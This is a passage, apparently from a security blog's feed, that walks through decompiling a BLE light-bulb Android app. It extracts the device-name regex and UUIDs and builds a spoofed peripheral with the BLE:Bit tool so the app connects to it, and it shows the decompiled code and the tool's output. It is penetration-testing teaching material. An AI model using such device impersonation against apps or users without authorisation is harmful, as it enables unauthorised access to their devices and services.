BLE communication happen without having the actual bulb in our hands]]></description><link>https://blog.cybervelia.com/p/testing-a-mobile-app-using-a-device</link><guid isPermaLink="false">https://blog.cybervelia.com/p/testing-a-mobile-app-using-a-device</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 17 May 2023 07:57:56 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/5aeebe87-3fd3-43eb-bad4-c622568d95b1_300x200.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>How many times you tested IoT-related apps but without testing their BLE communication? Have you ever wonder what extra endpoints would be triggered if you just enabled the BLE functionality?</p><p>There are myriad of applications that have been tested either through penetration testing or through bug bounties. However few people have tested their BLE functionality, because many people aren&#8217;t familiar with this technology. As BLE Experts, we would like to bring BLE security to the front-line by enabling everyone to learn how BLE works. However, this article combines reverse engineering and BLE and helps our mission: to make BLE Security aware to everyone.</p><h2><strong>TL;DR:</strong></h2><p>In this article we will go through a BLE Bulb Application and try to make the BLE communication happen without having the actual bulb in our hands. The same concepts apply to all apps. We will need BLE-related tools though, which help us to talk to the mobile application. We make use of BLE:Bit tool, a tool designed by Cybervelia.</p><p>The end-goal is to reverse engineer the application, understand how it works and make it talk with a fake device we&#8217; re gonna build. If we would be able to make the BLE communication happen that may trigger requests towards to back-end endpoints and that would enable us to test them too (i.e. via Burp). However, I can assure you the app we are testing in this example won&#8217;t trigger any requests to the back-end. More advanced applications would trigger such requests, so nothing changes in the methodology we use.</p><h2><strong>Taking the application apart</strong></h2><p>First of all we have to decompile the application and get the decompiled java code &#8211; at least for Android.</p><p>We are going to delve into the decompiled code of the application. If this is not for you, no hurt feelings you may close this page. However, if you like application digging and you often find yourself trying to understand the application&#8217; internals, then this is gold for you.</p><p>We will dissect the decompiled application to find three core components which will define the behavior of the device and application:</p><ul><li><p><strong>Device name</strong></p><ul><li><p>Each BLE device often advertise certain data to the air. Such data are received by the Android OS and are forwarded to the application. The device may, or may not advertise its name, but often it does. Among other things it can advertise custom data which are used to identify the type of the device.</p></li><li><p>The application does not wish to recognize any BLE as its potential device &#8211; instead the developer of the app tries to recognize and show to the user only the relevant devices. Therefore the vendor places certain special data into the advertisement data. When the application receives such data, knows which MAC address, hence which device, is the one must connect to.</p></li><li><p>To make the application connect to our fake device, we must find out what exactly is looking for in the advertisement data. This will enable us to start advertising with the same data and offering the same services, hence making the application connect to our fake peripheral, as it pretends to be the potential X device.</p></li></ul></li><li><p><strong>Service discovery</strong></p><ul><li><p>Each BLE device provides certain services and characteristics (read the <a href="https://cybervelia.com/?p=922">BLE basics here</a>).</p></li></ul><ul><li><p>When connecting to the BLE you may start enumerating its services and characteristics. This is exactly what the BLE mobile application does after the connection is established. This is done to receive the characteristic object. A characteristic in BLE is just like an endpoint in Web 2.0.</p></li><li><p>You can write or read data from a characteristic, and each characteristic is uniquely identified by its UUID. The applications have the device&#8217;s characteristic and service UUIDs hardcoded.</p></li><li><p>Therefore in this phase we must recognize and retrieve such UUIDs. We need those as we will clone the application&#8217;s behavior and transfer that functionality in our rogue device we&#8217; re gonna build later-on.</p></li></ul></li><li><p><strong>Behavioral analysis</strong></p><ul><li><p>This is split into two other subcategories: Locating the write functions and locating the notification handling functions.</p></li><li><p>The notifications happen when the device is sending out messages to the device.</p></li><li><p>The write methods are what is being used by the application to send data to the device.</p></li></ul></li></ul><h3><strong>Device Name</strong></h3><p>Let&#8217;s find the name of the BLE target and any other advertised data. We don&#8217;t have the BLE device, so we have to dig into the decompiled code and find the name the application is looking for &#8211; if looking at all, for any name.</p><p>Our reverse engineering efforts are based on finding the methods provided by the standard Android API. Even when the code-base has the symbols being stripped-out, or when the code is completely obfuscated, we can still locate the functions handling the BLE connection, as the Android API must be used &#8211; and this cannot be obfuscated.</p><p>When we are looking for any advertisement data, we can lookup for the following standard functions:</p><h4>ScanResult Class</h4><p>ScanResult is a class and the instances of this class must be used to extract the advertisement data. It provides several methods for that. The developer may receive the raw bytes (this parser may contain vulnerability) or letting the android to properly parse the data and get the required values. Let&#8217;s see a few examples.</p><pre><code>private static BluetoothScanResult newBluetoothScanResult(ScanResult scanResult) {
  ScanRecord scanRecord = scanResult.getScanRecord();
  byte[] scanRecordBytes = scanRecord.getBytes();
  if (isBeacon(scanRecordBytes)) {
  ... SNIP ...</code></pre><p>In the above decompiled code, the scanResult object contains a method called getScanRecord() which can be used to extract the raw bytes.</p><pre><code>List&lt;ParcelUuid&gt; uuids = scanResult.getScanRecord().getServiceUuids();</code></pre><p>The above snippet can be used to extract the services offered by the device.</p><p>The snippet following shows how the scanRecord object can be used to extract the device&#8217;s name.</p><pre><code>String deviceName = scanResult.getDeviceName();</code></pre><h4>onLeScan method</h4><p>In older Android versions (up to kitkat) the method onLeScan was used instead of ScanResult. The scanRecord was used to provide the raw data and the developer had to parse and extract the advertisement values manually from the raw bytes. Some things can be extracted but generally speaking, not much functionality is given.</p><pre><code>public void onLeScan(BluetoothDevice device, int rssi, byte[] scanRecord) {
  LeRecord leRecord = parseData(scanRecord);
  String name = device.getName();</code></pre><p>Let&#8217;s search the code base using those two methods to locate the device-specific checks in our targeted application. We need to find where the application recognizes the device to be it&#8217;s &#8220;own&#8221; device type (i.e. this is my own M15X SmartWatch).</p><pre><code>$ grep -Rni "ScanResult"
$ grep -Rni "onLeScan"
consmart/ble/BleController.java:21:        public void onLeScan(BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
consmart/ble/BleController.java:25:                    BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
consmart/ble/BleController.java:28:                BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
consmart/ble/BleController.java:43:        void onLeScan(BluetoothDevice bluetoothDevice, int i);
consmart/ble/MainActivity.java:15:        public void onLeScan(BluetoothDevice bluetoothDevice, int i) {
qh/blelight/BluetoothLeService.java:72:        public synchronized void onLeScan(final BluetoothDevice bluetoothDevice, int i, byte[] bArr) {</code></pre><p>We can see three classes to make sense below</p><ul><li><p>BleController (package consmart)</p></li><li><p>MainActivity (package consmart)</p></li><li><p>BluetoothLeService (package qh)</p></li></ul><p><strong>Navigating to the BleController:</strong></p><pre><code>private String name;

public void setScanLeDeviceType(UUID[] uuidArr, String str) {
&#9;this.serviceUuids = uuidArr;
&#9;this.name = str;
}

private LeScanCallback mLeScanCallback = new LeScanCallback() {
&#9;public void onLeScan(BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
&#9;    String name = bluetoothDevice.getName();
&#9;    if (BleController.this.name != null || "".equals(BleController.this.name)) {
                if (BleController.this.name.equals(name.substring(0, BleController.this.name.length())) &amp;&amp; BleController.this.mMyLeScanCallback != null) {
                      BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
                }
&#9;    } else if (BleController.this.mMyLeScanCallback != null) {
&#9;&#9;&#9;&#9;BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
&#9;    }
&#9;}
};</code></pre><p>The device name seems to be &#8220;123456&#8221;, as shown below.</p><pre><code>$ grep -Rni "setScanLeDeviceType"
consmart/ble/BleController.java:66:    public void setScanLeDeviceType(UUID[] uuidArr, String str) {
consmart/ble/MainActivity.java:25:        this.mBleController.setScanLeDeviceType(null, "123456");</code></pre><p>Not very sensible right?</p><p><strong>Navigating to MainActivity:</strong></p><pre><code>protected void onCreate(Bundle bundle) {
  super.onCreate(bundle);
  setContentView(R.color.color1);
  this.mContext = getApplicationContext();
  this.mBleController = BleController.initialization(this.mContext);
  new UUID[1][0] = UUID.fromString("0000180d-0000-1000-8000-00805f9b34fb");
  this.mBleController.setScanLeDeviceType(null, "123456");
  ... SNIP ...</code></pre><p>It seems that when the MainActivity is loaded, the BLE controller is initialized, the device name is set, and the UUID service is set to be &#8220;0000180d-0000-1000-8000-00805f9b34fb&#8221;.</p><p>Before moving further, if we use what we have found so far to build a peripheral, and then try to connect using the mobile application, we would see that the application cannot find our custom-build device. Let&#8217;s continue our research, you will soon understand why.</p><p><strong>Navigating to BluetoothLeService:</strong></p><pre><code>... SNIP ...
public static final String COMPANY_NAME = "^Triones-|^BRGlight|^Triones\\+|^Dream|^Light-|^Triones~|^Triones";
public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
... SNIP ...
   public synchronized void onLeScan(final BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
    CharSequence name = bluetoothDevice.getName();
    if (name != null) {
        if (Pattern.compile(BluetoothLeService.COMPANY_NAME).matcher(name).find()) {
            if (!BluetoothLeService.this.mDevices.containsKey(bluetoothDevice.getAddress())) {
                BluetoothLeService.this.mDeviceAddr = bluetoothDevice.getAddress();
                BluetoothLeService.this.mDevices.put(bluetoothDevice.getAddress(), bluetoothDevice);
... SNIP ...           
public int connBLE(final String str) { ... }
public boolean scanLeDevice() { ... }
... SNIP ...</code></pre><p>We can see several interesting methods defined by this class. For now, the most important is the method <strong>onLeScan</strong>.</p><p>In that particular method, the device&#8217;s name is retrieved and matched against a regular expression. It checks the device&#8217;s name against several names including the following:</p><ul><li><p>Triones</p></li><li><p>BRGlight</p></li><li><p>Dream</p></li><li><p>Light</p></li></ul><p>if any of the above is included in the device&#8217;s name will match and will be added to the application&#8217;s list.</p><p>But what list are we referring to?</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WLOl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WLOl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WLOl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg" width="335" height="725.2431289640592" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:473,&quot;resizeWidth&quot;:335,&quot;bytes&quot;:29707,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WLOl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!WLOl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1391f1fb-406f-4ec3-be6f-514f88edd9c4_473x1024.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Showing an empty list of light bulbs. Based on the interface, any matched device would be shown here</figcaption></figure></div><h3><strong>Service Discovery</strong></h3><p>We almost have what we need to create a rogue peripheral. What is missing here is the UUID of services used by this application.</p><p>We have seen one to be defined in the BluetoothLeService:</p><pre><code>public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);</code></pre><p>Let&#8217;s see where HEART_RATE_MEASUREMENT has been defined (same symbol could be used in more than one classes):</p><pre><code>$ grep -Rni "HEART_RATE_MEASUREMENT"
.idea/workspace.xml:41:      &lt;find&gt;SampleGattAttributes.HEART_RATE_MEASUREMENT&lt;/find&gt;
.idea/workspace.xml:42:      &lt;find&gt;HEART_RATE_MEASUREMENT&lt;/find&gt;
com/qh/blelight/BluetoothLeService.java:37:    public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
com/qh/tools/SampleGattAttributes.java:7:    public static String HEART_RATE_MEASUREMENT = "0000ffe1-0000-1000-8000-00805f9b34fb";
com/qh/tools/SampleGattAttributes.java:8:    public static String HEART_RATE_MEASUREMENT2 = "0000ffe2-0000-1000-8000-00805f9b34fb";
com/qh/tools/SampleGattAttributes.java:14:        attributes.put(HEART_RATE_MEASUREMENT, "Heart Rate Measurement");</code></pre><p>We have found two UUIDs:</p><ul><li><p>0000ffe1-0000-1000-8000-00805f9b34fb</p></li><li><p>0000ffe2-0000-1000-8000-00805f9b34fb</p></li></ul><p>We also found another UUID earlier &#8211; This is a known service UUID which stands for heart rate service:</p><ul><li><p>0000180d-0000-1000-8000-00805f9b34fb</p></li></ul><p>Are those all? Are UUID numbers 0xffe1 and 0xffe2 a type of characteristic or a service?</p><p>Such UUIDs are defined in class SampleGattAttributes. So let&#8217;s go in reverse and search globally where these calls are used for.</p><pre><code>$ grep -Rni "SampleGattAttributes"
com/qh/blelight/BluetoothLeService.java:21:import com.qh.tools.SampleGattAttributes;
com/qh/blelight/BluetoothLeService.java:37:    public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
com/qh/blelight/MyBluetoothGatt.java:27:import com.qh.tools.SampleGattAttributes;
com/qh/blelight/MyBluetoothGatt.java:619:                BluetoothGattDescriptor descriptor = this.photoCharacteristic.getDescriptor(UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG));
com/qh/tools/SampleGattAttributes.java:5:public class SampleGattAttributes {</code></pre><p>The class MyBluetoothGatt seems to be very interesting as it is using the CCCD UUID to define a characteristic descriptor. Let&#8217;s visit it.</p><p>This is where it is used:</p><pre><code>public void setNotify() {
&#9;UUID fromString = UUID.fromString("0000ffd0-0000-1000-8000-00805f9b34fb");
&#9;UUID fromString2 = UUID.fromString(DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_DATA_UUID);
&#9;if (this.mBluetoothGatt != null) {
&#9;    BluetoothGattService service = this.mBluetoothGatt.getService(fromString);
&#9;    if (service != null) {
          this.photoCharacteristic = service.getCharacteristic(fromString2);
          this.mBluetoothGatt.setCharacteristicNotification(this.photoCharacteristic, true);
          BluetoothGattDescriptor descriptor = this.photoCharacteristic.getDescriptor(UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG));
          if (descriptor != null) {
              descriptor.setValue(BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE);
              this.mBluetoothGatt.writeDescriptor(descriptor);
          }
&#9;    }
&#9;}
}</code></pre><p>We gained one more UUID. However, we can see that UUIDs are retrieved from somewhere else: from the class DeviceUUID.</p><p>Before moving into this class, I can ensure you this is the class we will need for the next phase. The class MyBluetoothGatt contains all BLE handling methods.</p><p>Let&#8217;s visit the class DeviceUUID:</p><pre><code>public class DeviceUUID {
    public static final String CONSMART_BLE_180a_UUID = "0000180a-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_2a25_UUID = "00002a25-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_DATA_UUID = "0000ffd4-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_MUSICCHECK_UUID = "0000fff4-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_MUSICMOD_UUID = "0000fff9-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_TIME_UUID = "0000fff7-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID = "0000ffd9-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_SERVICE_DATA_UUID = "0000ffd0-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID = "0000ffd5-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_WRITE_CHARACTERISTICS_MUSICCHECK_UUID = "0000fff3-0000-1000-8000-00805f9b34fb";
    public static final int SLIC_BLE_MANUFACTURER_DATA_LEN = 4;
    public static final String SLIC_BLE_NOTIFICATION_CHARACTERISTICS_SIGNAL_UUID = "00002a06-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_NOTIFICATION_SERVICE_SIGNAL_UUID = "00001803-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_BATTERY_UUID = "00002a19-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_DEVICE_INFO_MANUFACTURER_NAME_UUID = "00002a29-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_ADDRESS_UUID = "00002a03-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_APPEARANCE_UUID = "00002a01-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_DEVICE_NAME_UUID = "00002a00-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_TX_POWER_LEVEL_UUID = "00002a07-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_BATTERY_UUID = "0000180f-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_DEVICE_INFO_UUID = "0000180a-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_INFO_UUID = "00001800-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_TX_POWER_LEVEL_UUID = "00001804-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_WRITE_CHARACTERISTICS_SOUND_ALERT_UUID = "00002a06-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_WRITE_SERVICE_SOUND_ALERT_HIGH_UUID = "00001802-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_CAMERA_FIND_CHARA = "0000ffd1-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_CAMERA_FIND_SERVICE = "0000ffd0-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_FLIGHTMODE = "0000ffd3-0000-1000-8000-00805f9b34fb";
}</code></pre><p>I guess that&#8217;s all the UUIDs we are going to need. Here the UUIDs are defined along and their explanation. But are all of those UUIDs really used by this app?</p><p>Let&#8217;s return to class MyBluetoothGatt.</p><p>We note down all the UUIDs used in this class, and that&#8217;s how we gain all UUIDs have been used from this application.</p><h3><strong>Behavioral Analysis</strong></h3><p>Since we have what we need in class MyBluetoothGatt what is missing is to understand the various methods used in this class (when the developers use the class BluetoothGatt often it contains most of the BLE implementation).</p><p>Let&#8217;s take a method from this class.</p><pre><code>public void openLight(boolean z) {
    if (this.datas != null &amp;&amp; this.datas.length &gt;= 4) {
        byte[] bArr = new byte[]{(byte) -52, (byte) 35, (byte) 51};
        if (z) {
            this.datas[2] = (byte) 35;
        } else {
            bArr = new byte[]{(byte) -52, (byte) 36, (byte) 51};
            this.datas[2] = (byte) 36;
            if (this.mHandler != null) {
                this.mHandler.postDelayed(new Runnable() {
                    public void run() {
                        MyBluetoothGatt.this.writeCharacteristic(DeviceUUID.CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID, DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID, new byte[]{(byte) -52, (byte) 36, (byte) 51}, true);
                    }
                }, 300);
            }
        }
        writeCharacteristic(DeviceUUID.CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID, DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID, bArr, true);
    }
}</code></pre><p><strong>This is the service UUID: </strong>0000ffd5-0000-1000-8000-00805f9b34fb</p><p><strong>This is the characteristic UUID: </strong>0000ffd9-0000-1000-8000-00805f9b34fb</p><p><strong>Note: </strong>We ignore the UUIDs we have found before, as the new ones are probably the ones the application uses to talk to the bulb.</p><p>Why did i chose this particular methods over all the methods of the class? Because the target is a bulb and from all the other methods in the class, the method&#8217;s name looks exactly what I wanted, to open the light.</p><p>Let&#8217;s rapidly build a peripheral to test our assumptions: Make the application 1) make the app connect to our device, 2) Make it discover our strategically placed services and characteristics and 3) communicate and read or write data from/into them.</p><pre><code>// Configure peripheral using BLE:bit tool
PEController pe = BLEHelper.getPeripheralController(getPEBLEDeviceCallbackHandler());
if (pe == null) {
    System.err.println("PE tool Not found");
    System.exit(1);
}
pe.configurePairing(PairingMethods.NO_IO);
pe.sendBluetoothDeviceAddress(BLEHelper.generateRandomDeviceAddress(), BITAddressType.PUBLIC);
pe.sendConnectionParameters(new PEConnectionParameters());

// Set device name
pe.sendDeviceName("Triones-1");
AdvertisementData advdata = new AdvertisementData();
advdata.setFlags(AdvertisementData.FLAG_LE_GENERAL_DISCOVERABLE_MODE | AdvertisementData.FLAG_ER_BDR_NOT_SUPPORTED);
advdata.includeDeviceName();
pe.sendAdvertisementData(advdata);

// Define service
BLEService ble_service = new BLEService("0000ffd5-0000-1000-8000-00805f9b34fb");

// Define characteristic
BLECharacteristic chr = new BLECharacteristic("0000ffd9-0000-1000-8000-00805f9b34fb", new byte[] {0});
chr.enableRead();
chr.enableWrite();
chr.enableNotification();
chr.setAttributePermissions(BLEAttributePermission.OPEN, BLEAttributePermission.OPEN);
chr.setMaxValueLength(27);

// Add service and characteristic
ble_service.addCharacteristic(chr);
pe.sendBLEService(ble_service);

// Start advertisement
pe.finishSetup();</code></pre><p>Our device has started advertising using the device name &#8220;Triones-1&#8221;. As shown below, the application has found the device and connected automatically to the device.</p><p>This is the output of the tool without touching anything in the app:</p><pre><code>Connected 65:da:23:e7:31:4b
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: ef0177
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 242a2b42
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 1014160c07171033030001</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bJJJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bJJJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bJJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg" width="319" height="690.6046511627907" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:473,&quot;resizeWidth&quot;:319,&quot;bytes&quot;:31906,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bJJJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!bJJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F653d1d77-dea6-460e-be9f-f727fdda558c_473x1024.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path 